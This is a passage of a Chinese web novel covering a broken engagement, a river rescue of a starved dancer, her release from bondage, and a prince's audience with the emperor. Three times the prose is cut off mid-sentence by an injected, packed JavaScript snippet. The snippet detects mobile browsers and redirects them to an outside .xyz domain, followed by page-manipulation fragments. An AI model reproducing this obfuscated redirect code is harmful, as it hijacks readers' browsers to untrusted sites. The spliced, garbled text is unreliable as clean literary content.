木樨凑了过来,两人耳语一番。 李夫人不知道姜同云交代了什么,心里难免有些忧心:“同云,你这是……” 姜同云转过头来,笑着说道:“婶婶放心,我这就让人去把秋芙带过来。” 说着,挥手示意木樨出门。 不多时,木樨和柳四娘就带着秋芙进来了。 秋芙被捆了手堵了嘴,原本以为大姑娘命人来是提自己去受罚的。 谁想这会儿看见了真正的主子,她心头一松,当即扑过去拉住了李夫人的衣角,“呜呜”地叫了起来。 秋芙被关着的这些天,别说洗澡了,连头都没好好梳过几回。这会她整个人邋里邋遢的,李夫人就略有些嫌弃地挪开了腿:“快把这丫头押下去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14502856|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李夫人带来的下人们立刻将秋芙拉起,带了出去。 姜同云见状只笑了笑:“婶婶应该只坐了一架车来,你们要带人回去恐怕不太方便。不如把我的车先借给婶婶用吧。” 说着,她扭头对柳四娘道:“四娘,你去马厩把我那辆车套起来。” 柳四娘虽然有些疑惑,但还是听话地走了出去。 这下,花厅里就只剩姜同云和李夫人,还有她们身边最心腹的两个贴身丫鬟了。 姜同云对着木樨点了点头。 木樨从衣袖里摸出一只小匣子来,放到桌上。 李夫人有些摸不着头脑:“这是?” “婶婶不妨打开看看。” 李夫人怀揣着好奇,打开了盒子。 里面静静地躺着一枚上好的羊脂玉佩。 这是颍川侯府给的定亲信物! 李夫人一把合上盖子,震惊地看向姜同云。 姜同云悠闲地摆弄着手里的团扇:“虽然上次和婶婶闹得有些不愉快,不过您走了以后,我也认真地想过婶婶的话。” “婶婶说的也没错。颍川侯夫人对我不满意,我硬要嫁进去,也只会给自己惹一身麻烦。新媳妇本就难做,要是婆母有意磋磨,那我以后的日子只怕会更不舒心。” 姜同云笑着望向李夫人:“既然那位夫人中意二妹妹,我不妨让上一步,成全韩公子和二妹妹的好事。” 李夫人只觉得脑子都晕眩起来。 她不是在做梦吧?她刚刚都听见什么了?! 姜同云居然主动拿出了定亲信物,说要把这门婚约让给向瑶! 李夫人喘着气抓住了身旁丫鬟的手:“同、同云,你没有在跟婶婶开玩笑吧!” “自然没有。信物就在这里,婶婶可以直接拿走。”姜同云并掌指向木盒。 李夫人连忙扑过去,把木盒拢进自己怀里。 意识到自己失态,李夫人讪讪笑道:“婶婶刚才就是太激动了。” 见姜同云笑而不语,她又立刻补充道:“你放心,婶婶一定不会亏待你的!等你妹妹的婚事订下,婶婶就着手给你在金陵寻一门好亲!” “这就不劳婶婶费心了。”姜同云根本就不信这话。 她举起团扇遮住嘴角冷笑:“不过婶婶拿了东西,就得答应我一件事。” “你说,你说!”李夫人迭声道。 “婶婶也知道,我外祖父是个什么样的性子。要是让外祖父知道我把婚约让给了二妹妹,他老人家一定会从杭州赶过来,全力阻止两家的这场婚事。”看着李夫人的神情变得紧张,姜同云挑了下眉,“到时候闹起来,大家可是要一起丢脸的。” “所以在二妹妹的婚事正式定下之前,还望婶婶和侯府都能够保守秘密,不要将此事宣扬出去。” 想到姜同云身边那么多从杭州带过来的人,以及韩家那位住在京郊庄园里休养的老太太,李夫人连连点头:“你放心,我一定会守口如瓶,还会约束好府里下人的!” 姜同云微微一笑:“如此甚好。” 26. 落水 李夫人拿到定亲信物后,韩、姜两家之间就开始用最快的速度过六礼。 到七月中时,两家侯府已经合完了八字,颍川侯府正式给义阳侯府下了聘书,并开始准备一应的聘礼。 此时天气已经开始转凉,金陵城里逐渐染上桂香。 趁着天气晴好,陛下领着前朝后宫诸多臣子妃嫔,一道往京郊围场秋狝去了。 御驾上午离京,姜同云下午就收到了谢含昭通过齐王转交的出游邀请。 小姑娘前阵子着凉生了几日病,虽然在秋狝前就已康复,但邓皇后担心她的身体,不肯让她在围场骑马打猎。 连马都不能骑,那去围场也没什么好玩的。于是谢含昭干脆就留在了宫里,没有跟着父皇母后一道出行。 正好,她那个讨人厌的五哥也跟着去了围场,她可以放心地出宫找姜姐姐玩了! 距离上次假装吵架闹掰已经过去了一个半月。为了不让赵王生疑,这段时间里两人一直都没有见过面,姜同云也怪想念小姑娘的。 所以收到邀约后,姜同云毫不犹豫地就答应了。 次日一早,姜同云坐着马车,又来到了她们第一次相约游湖时出发的码头。 刚一登上熟悉的画舫,她就被扑过来的谢含昭抱了个满怀。 “姜姐姐,终于见到你啦!” 姜同云退了两步才稳住身子,没被扑倒。 她笑着摸了摸谢含昭的脑袋:“才一个半月没见,你就这么想我呀?” 谢含昭在她怀里猛猛点头:“当然想!本来宫里就没什么好玩的,母后还说我前阵子太野了,拘着我念了好一阵子书。我都快被憋坏了!” 姜同云问道:“既然憋坏了,为什么今天又来游湖呀?我还以为你会想换个别的什么玩呢。” 谢含昭故作老成地叹了口气:“姐姐是不知道!为了装得像一点,这些天我不仅把你送给我的东西收起来了,连鱼竿都没碰过一次。这么久没钓鱼了,我手痒地厉害。甚至前两天做梦都梦见自己钓大鱼了!” “看来钓鱼这事,还真是有瘾的!” 姜同云被她逗得乐不可支。 虽然今天还是去钓鱼,但负责安排游玩的谢怀雵换了个地方。 画舫顺着秦淮河一路下行,最后在一处栽满桂花的河岸附近停了下来。 “好香啊!”谢含昭跑出船舱,趴在船舷上向外看去,“我想吃桂花糕了!” 姜同云也跟着欣赏了一下周围景色:“那边岸上好像还种了银杏呢。” 谢含昭立刻来了精神:“那我们先上岸边逛逛去吧!等晚些再来钓鱼!” 姜同云也想下船逛逛,当即点头:“好呀!钓鱼不着急的。” 反正有她在,怎么钓都不会空军。 两人一言我一语的,很快就把今天的行程都安排好了。 之后,在谢怀雵的安排下,两个人带着几名丫鬟护卫,一道往种着银杏的方向去了。 两个人月余不见,也攒了好些话聊。 正好这处游人不多,她们就一边吐槽着共同的讨厌对象赵王,一边漫无目的地闲逛。一直逛到日头高悬,她俩才在侍卫提醒下掉头折返。 一路走走停停,等回到岸边时,刚好快到吃饭的时辰。 “哎哟,逛了这么久,肚子都有点饿了呢。”谢含昭摸了摸自己有些空瘪的肚皮,“也不知道怀雵哥哥今天会请我们吃什么。” 姜同云有些惊讶:“船上还带了厨子?” “有啊!”谢含昭的表情理所应当,“咱们带的还算少了。有些宗室子弟或者勋贵之后,还会带着整套的歌舞班子去游湖呢。” 说着,小姑娘凑到姜同云身边,压低了声音道:“我听说谢怀晟府里就养了好几支歌舞班子。他还有一艘特~别~大的船,经常会在船上宴请别人。那艘船能容纳一支十几人的队伍进行舞乐表演。” 一直觉得自己生活富足的姜同云在穿过来后第一次发现,有钱人的快乐还真是无法想象。 说话间,两人已经走到了河岸旁。 因为回来的时候并没有特意遵循原路,所以此处并非她们方才下船的地方。 临近河岸处也泊着一艘装饰精美的二层画舫。 即使隔着一定的距离,姜同云听见了从船上传来的丝竹管乐和嬉笑玩闹的声音。 这艘船大约就是刚刚谢含昭所说的那种,符合权贵子弟游湖配置的船只。 听着混夹在奏乐声里的男女笑闹声,姜同云微微皱起了眉:“时辰不早了,咱们快些回去吧。” 随行的侍卫头领扬头看了一圈,齐王府的画舫就在不远处。他找准了方向,准备在前带路。 谁想刚要动身,画舫里猛然爆发出一声尖叫。 姜同云扭头看去,就见二层的窗户被猛地推了开来。 伴随着骤然放大的欢庆乐声,一名女子从窗口决绝地跳了下来。 巨大的水花溅起,扑打在河岸的青石板上。游人的惊叫声响起一片。 姜同云当即把谢含昭往木樨那边一推:“看好殿下,再去个人找根棍子过来!” 说着,她冲至岸边踩掉绣鞋,一个猛子就扎了下去。 “姜姐姐!”谢含昭被惊得想要扑上去,却被木樨及时拦下。 “我家姑娘水性很好的。”木樨一面拦着谢含昭,以免她冲动之下跟着跳下去;一面去指挥侍卫,“快去找绳子棍子,帮忙一起救人!” 眼看有两名侍卫离去,木樨将谢含昭交给别的丫鬟,自己则跑到了岸边查看情况:“姑娘,人在你左手边!” 姜同云跳下水后很快就浮出了水面。凭着刚才在水底的短暂一瞥,她大致确定了方向,朝着落水女子所在的位置游去。 然而对方不知是完全不通水性,还是有意求死没有挣扎,一下就消失了在河面上。再加上河水流动,姜同云错失了那名女子的踪迹。 好在岸上的木樨替她指明了方向。 顺着木樨的指引,姜同云很快在左前方发现了浮起的衣角。 她又往前游了一段,感觉位置差不多后一头扎入水中,顺利地抱住了对方的腰。 甫一抱上那名女子,姜同云心里就颤了一下。 这个姑娘也太瘦了,姜同云几乎只用一只手就能把她的腰圈起来! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14502857|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方也似乎被突然出现在水里的人吓到,开始拼命挣扎起来。 姜同云被她瘦骨嶙峋的四肢撞了两下胸腹,差点痛得呛进水去。 为了防止自己被搭进去,她赶紧调整位置,绕至对方头部位置。随后她抓准空隙,一手揽住对方上半身,另一只手承托对方腰部,将那名女子托出了水面。 恰好侍卫也带着临时找到的长竿赶了回来。 姜同云抓住侍卫们递来的竿子。 有了岸上几个男人的辅助,即使那名跳水女子还在挣扎,她也带着对方一起被拉回了岸边。 眼看姜同云终于被拉了回来,谢含昭急忙道:“快把姜姐姐扶上来!” “先把她拉上去!”姜同云却先托起了那名女子,“她好像呛水了!” 侍卫们连着岸边的木樨一起,七手八脚地将意识模糊的跳水女子拉了上来。 随后,他们又从水里拉起了姜同云。 木樨解开自己的外衫,披在浑身湿透的姜同云身上。 谢含昭带着丫鬟们跑了过来:“姜姐姐,你没事吧!” 姜同云咳了两声,吐掉刚刚不小心呛进去的湖水:“没事。我先看看那位姑娘。” 她凑到落水女子身边检查了一番。确认对方并未昏迷,只是有些意识不清,姜同云松了口气:“应该没什么问题。先把她送去医馆看看。” “船上就有太……大夫,咱们把她带回船上去吧。”谢含昭提议道,“姐姐也得回去换身衣裳,不然等下吹了风要着凉的。” 姜同云也觉得有些发冷,听到谢含昭的话便点头同意了。 一行人刚要起身回船,却被画舫上下来的人拦住了。 领头的是个是个二十出头的年轻男子,穿着锦缎长袍,腰上丁零当啷地配了一圈的玉佩香囊,一副富家公子的打扮。 他扫了一眼警惕围起的侍卫,语带不屑地问道:“你们是什么人,也敢带走我船上的人?” 姜同云闻言皱起了眉。 她现在浑身湿透,不适合上前交涉,于是谢含昭拉了拉她的衣袖示意她稍候,自己拨开侍卫主动走上前去。 “你们又是什么人?” 小姑娘到底是金枝玉叶,邓皇后一手教养出来的公主殿下。她斜着眼扫了对方一圈,语气傲慢又无礼,将一个刁蛮任性惹不起的公主形象拿捏地恰到好处:“居然也敢拦着我的路?!” 对面的公子哥还真被谢含昭唬住了。 这金陵城虽然不小,但奈何权贵太多。随便泼盆水出去,搞不好都能浇到一个衣紫着绯的。 眼看周围行人陆陆续续围了过来,公子哥不想在这么多人面前认怂丢了面子,于是强装镇定道:“那个女人是我买下的。你们要走可以,但得把我的人留下!” 谢含昭一时有些犯难。 想压过这个纨绔绝不是什么难事,只要抖出自己的公主身份就行。但今日这事要是传扬出去,搞不好又会让谢怀晟盯上姜姐姐。 正在为难的时候,人群后传来了谢怀雵的声音。 “不知道本王有没有这个面子,让这位公子高抬贵手,放人一马呢?” 27. 保护 “齐王殿下?!” 很明显,这位公子哥是认识谢怀雵的:“您今日也、也出来游湖啊……” 谢怀雵神色淡淡:“怎么,下回本王出门,还得先到贵府知会一声,免得冲撞了你邱大公子吗?” 身份被叫破,这位邱公子也慌张了起来:“不敢不敢。只是没想到您今日也在,邱某若是早些知道,应该过去问候您一下的。” “问候就不必了。”知道姜同云刚刚下水救人,只怕这会儿正冷着,谢怀雵没心思与他打交道,“邱公子现在愿意让一让了吗?” 那位邱公子虽然心疼自己刚刚花了大价钱买到的美人,但前面这位齐王还真不是好惹的。 未免得罪对方回家挨骂,他咬了咬牙还是退了开来:“您请您请。” 谢怀雵远远地看了一眼被围在人群里、形容狼狈的姜同云,随即对谢含昭点了点头。 谢含昭朝着点头哈腰的邱公子冷哼一声,挥手道:“我们走!” 丫鬟们扶着姜同云和那位跳水的姑娘,侍卫们包围在外层,一行人迅速朝着谢怀雵的方向靠拢。 “你们先回去,让太医给姜姑娘仔细把把脉。”谢怀雵轻声嘱咐谢含昭,“我把他那边解决了就回来。” 谢含昭点了点头:“好。” 谢怀雵分出一半自己带来的侍卫,陪着谢含昭等人一同回船。 近来天气渐凉,即使今日阳光不错,但略带寒意的冷风吹在湿透的衣衫上着实让人禁受不住。 即使丫鬟侍卫们包围成团,姜同云也依旧被漏进来的冷风吹得直哆嗦。 好在他们的画舫距离此处不远,几人很快就回到了船上。 谢怀雵是得到侍卫通知后赶过去救场的。 知道姜同云下水救人,他在下船前也先做了一系列的安排。所以几人刚一回船,就被留在船上的侍女们迎回了船舱。 姜同云和那位落水的姑娘被一起送到了船舱二楼,侍女们早就准备好了两身替换的衣裳:“船上只额外备了一套公主的衣裳,有些小了。委屈姜姑娘先穿我们的吧。” “有得换就行,说什么委屈呢。”姜同云只想赶紧把黏在身上又冷又沉的衣服脱掉。 侍女引着她和木樨到了换衣区,自己退了出去。 屏风后不仅准备了一套衣裳,还放了一套擦拭用的布巾,甚至点了一个火盆子,烧得这一处角落暖烘烘的。 姜同云在木樨的帮助下快速脱掉了湿透的衣服,擦干身上水迹后换上干净的衣服。 木樨卸掉姜同云头上的钗环,又拿了一条干净的巾子替她绞干头发:“姑娘下次可别这么做了!咱们带了这么多人呢,犯得着自己跳下去救吗?” 姜同云蹲在火盆边上取暖:“救人要紧,哪里来得及想那么多嘛。” 木樨将绞过头发的巾子放在一边:“我是说不动您了,回头我找老爷子去!” 姜同云嘿嘿一笑:“他也不会怪我救人的!” 木樨无奈地帮她理了理半干的长发:“听说齐王让人煮了姜汤,姑娘先下去喝一碗吧。” “行,这也怪冷的。” 两个人下至一楼,正好遇见刚刚返回的谢怀雵。 姜同云穿着不太合身的衣裳,没梳顺的头发也还湿漉漉地披在肩上,乍一看见谢怀雵难免有些不好意思。 谢怀雵倒不在意这些,见她已经换过衣裳,便问道:“可有让太医把过脉?” “太医应该还在替那位姑娘诊治。”一楼阳光不太好,姜同云觉得指尖发寒,偷偷搓了搓手,“我觉得自己还好,喝碗姜汤应该就没事了。” 不料谢怀雵敏锐地注意到了她藏在衣袖里的小动作:“姜姑娘可是觉得冷?” 一旁的谢含昭闻言,不由分说地牵起了她的手:“是呢,姜姐姐的手好凉!” 小姑娘转过头去问侍女:“船上还有厚衣服吗?快拿来给姐姐穿上!” 侍女一时有些犯难:“这……好像没带。” 看着姜同云毫无血色的脸和青白的嘴唇,谢怀雵莫名有些心绪难平。 迟疑了一下,他还是开口了:“我那有件毛里的披风。姜姑娘不介意的话,我就叫人去拿。” 听到这话,姜同云有些犹豫。 可能是刚刚吹了风还没缓过来,她确实觉得挺冷的。 但一来,这是谢怀雵的衣服,不管是现代还是古代,即使是朋友,穿男人的衣服多少还是有点暧昧了。 二来,金陵城里谁不知道这位齐王殿下身体不好,他带厚衣服出来肯定是因为他本身怕冷。要是把披风借给自己穿了,人家冷起来穿啥? 姜同云还在犹豫怎么婉拒,谢含昭已经先帮她应了下来:“那就先拿来吧。反正咱们这儿没别的人,姜姐姐先穿一会暖暖身子也好。” 侍女立刻动身上楼。 话已经说了,人家侍女也去拿披风了,姜同云就没有再拒绝。 喝了姜汤披上披风,暖融融的温度立刻包裹住了姜同云。 等太医给那位姑娘看完诊下来的时候,姜同云浑身上下都已经暖呼呼的了。 太医也给她诊了一回脉:“……应当是没什么大碍的,姜姑娘身体不错,这两天注意一下保暖,别再冻着就行。” 听到这话,在场的人脸色齐齐一松。 “有劳您了。” 姜同云谢过太医,又问起楼上的病人:“那位姑娘现在如何?” “她落水久,加上本身身子弱,体质不好。”太医想起那姑娘干瘦的手腕就忍不住摇头,“先前应该也是大悲大恸过。心绪不宁,底子又不好,所以刚刚有些起热。方才喝了点药,这会儿支撑不住,睡过去了。” “后续还是应该好生调养,饮食方面也要多注意一些,可不能再继续忍饥挨饿了。” 姜同云也想起她那过分纤瘦的腰身和支棱的骨头:“她也确实太瘦了。那个邱公子难道都不给她吃饱的饭吗?” 谢怀雵叹了口气:“我问过,她是邱府买回去的舞姬。近来金陵莫名刮起一股奇怪的崇古风潮,那些权贵公子们追捧汉代赵飞燕,最近又开始攀比上谁家养的舞姬能作掌上舞了。” “就为了这个,他们就不给舞姬吃饭?”姜同云只觉瞠目结舌。 谢含昭也恨恨道:“荒谬!要我说,姑娘家就是该学骑马打猎,而不是什么琴艺歌舞!” 这样遇到烦人的家伙还可以一拳打过去! 姜同云给小姑娘竖了个大拇指。 看着两人的互动,谢怀雵无奈地摇了摇头:“近年来,金陵奢靡之风愈盛,各家攀比斗富,手段花样层出不穷。陛下和娘娘屡次下令限制,也曾以身作则规范各家。可惜收效甚微。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14506144|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜同云想到了赵王那艘据说可以容纳十几人进行歌舞表演的画舫。 当爹妈的再怎么带头,底下儿子第一个铺张浪费,能怪人家跟着阳奉阴违吗。 她遮掩住表情,抬起手中茶盏喝了一口。 许是意识到话题有些严肃,谢怀雵笑了笑:“你们也饿了吧,我让人传饭上来。” “好!”谢含昭立刻举起手来,“我都快饿死了!” 很快,八道菜肴就摆到了桌上。 除了两个冷盘一碗汤,余下四个菜品全是时令菜蔬。鱼和虾都是刚刚从河边贩子手里买的,就连点心也是谢含昭早上才念过的桂花糕。 姜同云刚开始还有些担忧,这位殿下用饭时要讲排场规矩。不过这些家常菜式摆上来后,她的心就落下了一半。 等那对堂兄妹自在地开始边吃边聊,她的另一半心也放了下来,开始专心享受美食。 别说,这才从河里捞上来的新鲜鱼虾,味道确实是好。 谢怀雵跟谢含昭聊了两句,转头问道:“姜姑娘救了人,可有想过如何安排后续事宜?” 姜同云咽下嘴里的食物:“嗯……我当时只想着救人,也没想过这些。等那位姑娘醒了再问问她本人的意见吧。不过无论如何,我都不能让她回邱府去了。” “这点姜姑娘不用担心。”谢怀雵道,“我已从那位邱公子那把人要过来了,一应的契书这两日应该就会送到王府,到时候我再让人转交给姜姑娘。是去是留,都可由你们自行决定。” 闻听此言,姜同云心中直为那位姑娘欢喜,高兴得连连点头。 看着那双明亮的眼睛,谢怀雵停顿片刻,还是决定说出心中所忧:“只是姜姑娘今日救人,实在太过鲁莽。” 姜同云也知道他们现在还要瞒着赵王,今天跟谢含昭见面都是偷摸着来的。自己跳下去救人,确实可能导致先前的计划败露。 于是她低下头去:“我知道,这样可能会引起赵王注意。实在是给您添麻烦了。” 谢怀雵扬了扬眉,旋即无奈失笑:“不,在下不是这个意思。你们今日带了这么多侍卫和丫鬟出门,姜姑娘不必亲自冒险下水的。虽然现在的天气尚算和暖,但万一生病了可不是闹着玩的。” 姜同云没想到他想说的居然是这个。 知道对方是出于好心,她点了点头:“下次不会了。” 想了想,姜同云还是解释了一句:“当时情况危急,再加上我的水性还算不错,所以才敢下去救人的。” 闻言,谢含昭摇着头提出反对意见:“姜姐姐,你水性再好,那也是条河!你对这片水域应该不太熟悉,这么做确实太冒险了。更何况那还是个陌生人!” 姜同云摸了摸她的脑袋:“即使是陌生人,那也是一条人命呀。” 想了想,她举例道:“齐王殿下在边境抗击敌军,是为了保护千千万万的越朝百姓。那些百姓对他来说难道不是陌生人吗?但殿下依旧会保护他们,对吧殿下?” 看着突然望向自己的那双眼眸,谢怀雵的心跳突然停了一拍。 他一时没有作答。 姜同云被这突如其来的沉默弄得有些尴尬,刚想说些什么转开话题,却听见坐在对面的人缓缓开了口: “对。” “但我希望,姜姑娘以后能够优先保证自己的安全。” 28. 樊柳 他的神情太过认真,姜同云被他看得心里一动,下意识地扭头避开:“……好。” 意识到自己失态,谢怀雵也垂首不再言语。 只有不明就里的小姑娘还在叽叽喳喳地说着话,带动大家继续闲聊。 这顿饭在谢含昭的努力下还算平稳地结束了。 因为太医叮嘱过要让姜同云别再受冻,下午的钓鱼行程就暂时被取消了。计划落空,为了安慰两位姑娘,谢怀雵便让人收起船锚,由着画舫慢慢顺水而下,一路欣赏沿途景色。 行船一路过去,可以看见远处山上满栽的枫林。七月的枫叶尚未红透,远远看去只见山上层层黄绿堆叠,映衬着秋日澄透的天穹。山间偶尔还有雁鸟起落,别有一种高旷幽远之感。 这般景象过于宁静悠闲,谢含昭没忍住倦意,还伏在姜同云膝上小睡了一会。 赶在太阳西斜之前,画舫重新泊回码头。 因为发着烧,那位被姜同云从水里救起的姑娘一直都在昏睡。考虑到谢含昭二人各有各的不便之处,姜同云便提出由自己把人带走照顾。 当天夜里,那位姑娘总算是退了低烧,清醒过来。 骤然换了环境,刚清醒的时候她还非常惊慌,还是木樨等人再三安抚,才让她稍稍平静下来。 等到姜同云告诉她,那位邱公子已经同意会将契书交还,她可以彻底脱离邱府后,她才终于卸下心防,痛痛快快地哭了一场。 姑娘说她只有十六岁,是姑苏人士,没有自己的名字。她五岁时父母双亡,在狠心祖父的授意下,叔叔把她和兄姐弟弟四个孩子一起卖了出去。 因为长相清秀,她很快就被人牙子挑出来,带去扬州。 她在歌舞方面颇有一些天赋,到了扬州后就被送去学习舞艺。学到十一岁那年,她登台演出,被一名富商看中买下,跟着对方到了金陵。 到了金陵后,富商很快就在一场宴会上将她转手送给了一位官员。 之后几年里她被数次转送,每转一手,她就会换一个新的名字。直到去年她被送入邱府做舞姬。 起初在邱府里的日子也不算难过。 因为她舞艺出众,邱公子对她也挺上心,时常带她出去赴宴,所以府里的人不太敢欺辱她。 虽然难免会遭到宾客们的轻薄,但能跟邱府往来的人多少都还要脸面,只要她知情识趣一些,对方也不至于做出什么强迫的事情来。 但到今年,那些纨绔们开始竞相追捧掌上舞后,她的日子就开始变得难捱了。 她到底不是十三四岁的小姑娘了,身段没法再保持得像以前一样轻盈,学起掌上舞来很是吃力。 邱公子对她们的练习进度很不满意,负责教习的嬷嬷就开始禁止邱府舞姬们进食,希望能用这种方式控制住她们的体重。 她每天忍饥挨饿,还要在嬷嬷的棍棒下练习掌上舞。好几次她都在练习跳舞的时候直接昏了过去。 但昏倒也只能换来一盆凉水,之后又是无止境的挨饿和练习。 在上个月,她终于能够做到立于男人举起的双掌之上起舞了。 今日的宴会,就是邱公子为了向别家权贵公子们炫耀她的舞姿,特意举办的。 她在画舫上舞完一曲,果真赢得满堂喝彩。 时下能作掌上舞的多为年龄幼小的舞姬,而她能在这个年龄学成掌上舞,自然是给邱公子挣足了面子。 但也因为她的优秀,她又被更有权势的人看中了。 宴会才进行到一半,席上就有家世更好的宾客提出想要买下她。 邱公子不敢得罪那人,当即点头将她送给了对方。 她经历过很多次这样的事情,内心早就已经麻木。听到邱公子将她转赠他人,她也生不出悲凉之心。 只是没想到,她的这个新主人不仅当场给她改了名字,还要当着在场这么多宾客舞姬乐工的面…… 她终于禁受不住,用尽全身力气挣开对方,随后推开窗户跳了下去。 听到这里,木樨已是心疼不已,抓着她的手道:“你放心,往后你再也不会遇到这样的事了!” 姜同云也点了点头:“等你的身契送过来,我就把它交还给你,送你去官府脱籍。之后无论你是想回姑苏还是要去别的地方,抑或是想留在金陵都行,我都会帮你的。” 谁知姑娘却流着泪狠狠地摇了摇头:“我不回去!回去肯定还要被他们卖掉的!我、我也不想留在金陵了……” 姜同云想了想:“那你要不要去杭州?我在杭州个布庄,里面雇来干活的全都是姑娘家。” 她愣了愣:“可是、可是我不会织布,您也愿意要我吗?” “这不打紧的。”姜同云笑道,“我会找人教你。你这么聪明,一定很快就能学会的。” 姑娘用力地点了点头:“好!我一定会好好学的!” “不过在去杭州之前,你得先把身子养好。哦对了,还有一件事你也得先办好。” 姑娘连忙道:“您说!我一定会办好的!” 姜同云温柔地将她散落的发丝别回耳后:“先给自己起个名字吧。一个属于你,且以后再也不会变的名字。” ***** 姑娘姓樊,父母去世的时候她的年纪还太小,所以也没有一个正经的大名。不过她倒还记得自己有个乳名,唤作柳儿,因而她就拿了乳名做自己的名字。 齐王府在第二日就派人把邱公子交出来的身契送了过来。 姜同云派人上官府替她销了奴籍,又用“樊柳”的名字给她立了个单独的女户。 自此以后,樊柳就不再是舞姬了。 到八月初,樊柳差不多养好了身子,在姜宅一位嬷嬷和两名小厮的陪同下,作别姜同云,乘船南下。 眼看中秋在即,宅子里却一下子少了这么些个人。姜同云原本以为自己这个节日可能就要冷冷清清的地过了。 谁知道十二那日,老爷子竟然带着人敲响了院门! 得到消息的姜同云匆匆赶到前院,一看见阔别三月的外祖父就忍不住红了眼眶。 她如乳燕 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“上回婶婶过来,说是已经和颍川侯府谈过,还把我的八字要了过去。据说这两日,两边已经交换过生辰贴了。” 老爷子不免有些吃惊:“是吗?你们先前写的信上怎么都没跟我提过这事?” 一旁的陶叔也是稀里糊涂的:“是啊姑娘,怎么我也没听说过这事啊?” 姜同云眼珠一转:“听说是因为颍川侯府规矩多,合八字的事儿都要找钦天监办。钦天监那边事情也多,一时半会是出不了结果的,婶婶就让我先别宣扬。” “我想着横竖也就几日功夫,等有了消息再跟你们说也不迟。” 八字还没合就先往外嚷嚷两家要结亲,确实是不太合适的。 这个理由倒也说得过去,老爷子和陶叔等人暂时都被说服了。 老爷子也不知道颍川侯府和义阳侯府能私下里商量出换嫁这么离谱的招,听到两边已经开始推进仪程,自然也放下心来:“他俩也还算有点良心。” 姜同云实在是有些心虚,生怕继续谈下去会暴露更多,便连忙岔开话题:“您这回来,是要在金陵过节吗?” 老爷子果然被转移了注意力,笑着问道:“怎么,嫌外祖父老了,不欢迎我呀?” “欢迎,当然欢迎啦!”姜同云立刻道,“您都不知道我有多想您!” 她抱着老爷子的胳膊,欢喜地计划起来:“听说十五晚上,宫里办完中秋宴后,帝后会在宫城墙上燃放烟花爆竹!到时候咱们一起去看!” “看完以后再去东市!据说那边每年都会有一场很盛大的灯会,可以去猜灯谜拿花灯。您可一定要帮我赢几盏花灯回来!” “之后我再带您去逛……” 听着外孙女欢快的声音,许敬铭心中感慨万分。 两边已然已经交换庚帖,想来婚期也会很快定下了。 养了七年的外孙女,终究还是要离开自己了。 也罢,那就趁着这次过节,再好好地陪一陪她吧! 29. 灯市 这边姜同云还在发愁怎么糊弄外祖父,那边谢怀雵已经收到消息,说颍川侯府会在中秋节后正式下聘。 这还得谢谢侯府那位老夫人。 她回城过中秋,听说姜大姑娘已经回到金陵,而且两家都已经过完了纳吉的流程,就又催了一把,让儿子儿媳过完中秋就上门下聘。 毕竟两个孩子都不小了,早点完婚才好嘛。 既然颍川侯府那边事情已定,谢怀雵也就能放心地进宫,去为姜同云的爵位做铺垫了。 谢怀雵进入紫宸殿的时候,陛下正在翻看奏折。 见到他来,陛下将手里那本讲来讲去没个重点的奏本丢至一旁,笑着说道:“难得你来看朕。来人,快给齐王赐座。” 谢怀雵谢过陛下,在内监搬来的圈椅上安然坐下。 “瞧着气色好多了,看来上次送去你府上的太医还是有点用处的。”陛下看着这个长相俊秀的侄子,心里分外满意,“你今日特意在这个时辰来见朕,是有什么事吗?” 按照他的习惯,这个时辰一般都是在紫宸殿里处理公务。谢怀雵会选这个时间过来,应该是有关于朝政的事情要说。 谢怀雵道:“陛下真是明察秋毫。臣听说近来边境又有异动,陛下已经着人开始筹备粮草了?” “是啊。前些天邢国公传了奏报回来,说北边又在边境调集人马了。”说起烦心事,陛下忍不住揉了揉眉心,“有邢国公坐镇边境,朕倒也不太忧心。只是粮草供应确实是要早做准备。” 邢国公和梁国公一样,是越朝开国时就封赏的四位国公之一,世袭罔替。太宗晚期,另外两家开国公爵卷入储位之争,在先帝登基后获罪抄家,四大国公就只剩下邢、梁两府。 跟早早转型文官并在朝堂站稳脚跟的梁国公府不同,邢国公府常年领兵镇守边境,深得历代帝王信任。 听到陛下的话,谢怀雵点了点头:“陛下所虑极是。眼看就要入冬,若是河面开始结冰,再要北上运粮可就不那么容易了。” “筹粮倒也罢了,到时候由谁负责运送还是个问题呢。” 陛下的眉头已然皱起:“远的不说,就说三年前。你在边境奋勇杀敌,朕派去运粮的却不顶事。这么多人押送粮草,竟然还叫山匪劫走了大半!要不是那边的守将机灵,及时在城内凑齐粮草……哎!” “此乃旁人之失,实非陛下之过。”谢怀雵宽慰了他几句,随即话锋一转,“不过说起三年前,臣最近倒是意外得知了一些别的事情。” “哦?” 